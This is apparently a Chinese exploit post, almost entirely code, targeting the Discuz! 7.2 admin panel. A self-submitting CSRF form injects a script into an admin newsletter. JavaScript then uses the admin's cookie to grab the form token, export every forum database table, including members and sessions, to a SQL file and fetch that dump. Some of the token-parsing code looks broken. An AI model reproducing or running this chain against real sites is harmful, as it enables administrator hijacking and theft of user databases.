Discuz! admincp.php CSRF引起XSS

                                                <form id="post123" name="post123" action="http://a.com/dz72/admincp.php?action=members&operation=newsletter&username=%2A&uid=0&srchemail=&regdatebefore=&regdateafter=&postshigher=&postslower=&regip=&lastip=&lastvisitafter=&lastvisitbefore=&lastpostafter=&lastpostbefore=&birthyear=&birthmonth=&birthday=&lower[credits]=&lower[extcredits1]=&lower[extcredits2]=&higher[credits]=&higher[extcredits1]=&higher[extcredits2]=" method="post">

    <input type=hidden name=subject value="%3Cscript%3Ealert%28%2Fxss%2F%29%3B%3C%2Fscript%3E">

    <input type=hidden name=message value="test">

    <input type=hidden name=sendvia value="pm">

    <input type=hidden name=pertask value="1000">

    <input type=hidden name=newslettersubmit value="%E6%8F%90%E4%BA%A4">

    <script>

        document.getElementById('post123').submit();

    </script>

</form>





function ajax(){

	var request = false;

	if(window.XMLHttpRequest) {

		request = new XMLHttpRequest();

	} else if(window.ActiveXObject) {

		var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];

		for(var i=0; i<versions.length; i++) {

			try {

				request = new ActiveXObject(versions[i]);			

			} catch(e) {}			  

		}			  

	}			  

	return request;			  

}

var formhash = '';

var cookie = document.cookie;

var _x = ajax();			  

request_get();

function request_get() {			  

	src="http://a.com/dz72/admincp.php?action=settings&operation=basic";

	data="";

	xhr_act("GET",src,data);			  

}



function sleep(n){

	var start=new Date().getTime();

	while(true) if(new Date().getTime()-start>n) break;

}



function request_post(flag) {

	src="http://a.com/dz72/admincp.php?action=db&operation=export&setup=1";

	if(flag == 1){

	data='formhash='+formhash+'&scrolltop=&anchor=&type=discuz&chkall=on&customtables%5B%5D=cdb_access&customtables%5B%5D=cdb_activities&customtables%5B%5D=cdb_activityapplies&customtables%5B%5D=cdb_addons&customtables%5B%5D=cdb_adminactions&customtables%5B%5D=cdb_admincustom&customtables%5B%5D=cdb_admingroups&customtables%5B%5D=cdb_adminnotes&customtables%5B%5D=cdb_adminsessions&customtables%5B%5D=cdb_advertisements&customtables%5B%5D=cdb_announcements&customtables%5B%5D=cdb_attachmentfields&customtables%5B%5D=cdb_attachments&customtables%5B%5D=cdb_attachpaymentlog&customtables%5B%5D=cdb_attachtypes&customtables%5B%5D=cdb_banned&customtables%5B%5D=cdb_bbcodes&customtables%5B%5D=cdb_caches&customtables%5B%5D=cdb_creditslog&customtables%5B%5D=cdb_crons&customtables%5B%5D=cdb_debateposts&customtables%5B%5D=cdb_debates&customtables%5B%5D=cdb_failedlogins&customtables%5B%5D=cdb_faqs&customtables%5B%5D=cdb_favoriteforums&customtables%5B%5D=cdb_favorites&customtables%5B%5D=cdb_favoritethreads&customtables%5B%5D=cdb_feeds&customtables%5B%5D=cdb_forumfields&customtables%5B%5D=cdb_forumlinks&customtables%5B%5D=cdb_forumrecommend&customtables%5B%5D=cdb_forums&customtables%5B%5D=cdb_imagetypes&customtables%5B%5D=cdb_invites&customtables%5B%5D=cdb_itempool&customtables%5B%5D=cdb_magiclog&customtables%5B%5D=cdb_magicmarket&customtables%5B%5D=cdb_magics&customtables%5B%5D=cdb_medallog&customtables%5B%5D=cdb_medals&customtables%5B%5D=cdb_memberfields&customtables%5B%5D=cdb_membermagics&customtables%5B%5D=cdb_memberrecommend&customtables%5B%5D=cdb_members&customtables%5B%5D=cdb_memberspaces&customtables%5B%5D=cdb_moderators&customtables%5B%5D=cdb_modworks&customtables%5B%5D=cdb_mytasks&customtables%5B%5D=cdb_navs&customtables%5B%5D=cdb_onlinelist&customtables%5B%5D=cdb_onlinetime&customtables%5B%5D=cdb_orders&customtables%5B%5D=cdb_paymentlog&customtables%5B%5D=cdb_pluginhooks&customtables%5B%5D=cdb_plugins&customtables%5B%5D=cdb_pluginvars&customtables%5B%5D=cdb_polloptions&customtables%5B%5D=cdb_polls&customtables%5B%5D=cdb_postposition&customtables%5B%5D=cdb_posts&customtables%5B%5D=cdb_profilefields&customtables%5B%5D=cdb_projects&customtables%5B%5D=cdb_promotions&customtables%5B%5D=cdb_prompt&customtables%5B%5D=cdb_promptmsgs&customtables%5B%5D=cdb_prompttype&customtables%5B%5D=cdb_ranks&customtables%5B%5D=cdb_ratelog&customtables%5B%5D=cdb_regips&customtables%5B%5D=cdb_relatedthreads&customtables%5B%5D=cdb_reportlog&customtables%5B%5D=cdb_request&customtables%5B%5D=cdb_rewardlog&customtables%5B%5D=cdb_rsscaches&customtables%5B%5D=cdb_searchindex&customtables%5B%5D=cdb_sessions&customtables%5B%5D=cdb_settings&customtables%5B%5D=cdb_smilies&customtables%5B%5D=cdb_spacecaches&customtables%5B%5D=cdb_stats&customtables%5B%5D=cdb_statvars&customtables%5B%5D=cdb_styles&customtables%5B%5D=cdb_stylevars&customtables%5B%5D=cdb_tags&customtables%5B%5D=cdb_tasks&customtables%5B%5D=cdb_taskvars&customtables%5B%5D=cdb_templates&customtables%5B%5D=cdb_threads&customtables%5B%5D=cdb_threadsmod&customtables%5B%5D=cdb_threadtags&customtables%5B%5D=cdb_threadtypes&customtables%5B%5D=cdb_tradecomments&customtables%5B%5D=cdb_tradelog&customtables%5B%5D=cdb_tradeoptionvars&customtables%5B%5D=cdb_trades&customtables%5B%5D=cdb_typemodels&customtables%5B%5D=cdb_typeoptions&customtables%5B%5D=cdb_typeoptionvars&customtables%5B%5D=cdb_typevars&customtables%5B%5D=cdb_usergroups&customtables%5B%5D=cdb_validating&customtables%5B%5D=cdb_warnings&customtables%5B%5D=cdb_words&method=multivol&sizelimit=2048&extendins=0&sqlcompat=&usehex=1&usezip=0&filename=140915_ce31AeXP&exportsubmit=%E6%8F%90%E4%BA%A4';

	xhr_act("POST",src,data);

	}else{

		return;

	}

}



	

function get_database_sql_url(_m,_s,_a){

	_x.open(_m,_s,false);				

	_x.setRequestHeader("Cookie",cookie);			  

	_x.send();

	var document_str = _x.responseText;	

	var p = new RegExp('<a href="(.*\\.sql)">');

	var rs = document_str.match(p);

	var baseurl='http://a.com/dz72/';

	if(rs){

		baseurl = baseurl+rs[1];

		get_database_content("GET",baseurl,"");

	}else{

		return false;

	}

}





function get_database_content(_m,_s,_a){

	_x.open(_m,_s,false);				

	_x.setRequestHeader("Cookie",cookie);			  

	_x.send();

	console.log(_x.responseText);

}



function xhr_act(_m,_s,_a){

	if(_m == "GET"){

		_x.open(_m,_s,false);				

		_x.setRequestHeader("Cookie",cookie);			  

		_x.send();			  

		var document_str = _x.responseText;	

		console.log(document_str);

		var basestr = 'name="formhash" value="';

		var formhashpos = basestr.indexOf(basestr);

		var realpos = formhashpos + basestr.length;

		formhash = document_str.substr(realpos,8);

		if(formhash){

			var count_0 = 1;

			var count_1 = 1;

			for(var i=0;i<count_0;i++)

				request_post(1)

			sleep(3000);



			for(var j=0;j<count_1;j++){

				var sqlback_url = "http://a.com/dz72/admincp.php?action=db&operation=import";

				get_database_sql_url("GET",sqlback_url,"");



			}

		}

	}else{

		_x.open(_m,_s,false);				

		_x.setRequestHeader("Content-Type","application/x-www-form-urlencoded");

		_x.setRequestHeader("Cookie",cookie);

		_x.send(_a);			  

		return _x.responseText;			 

	}

}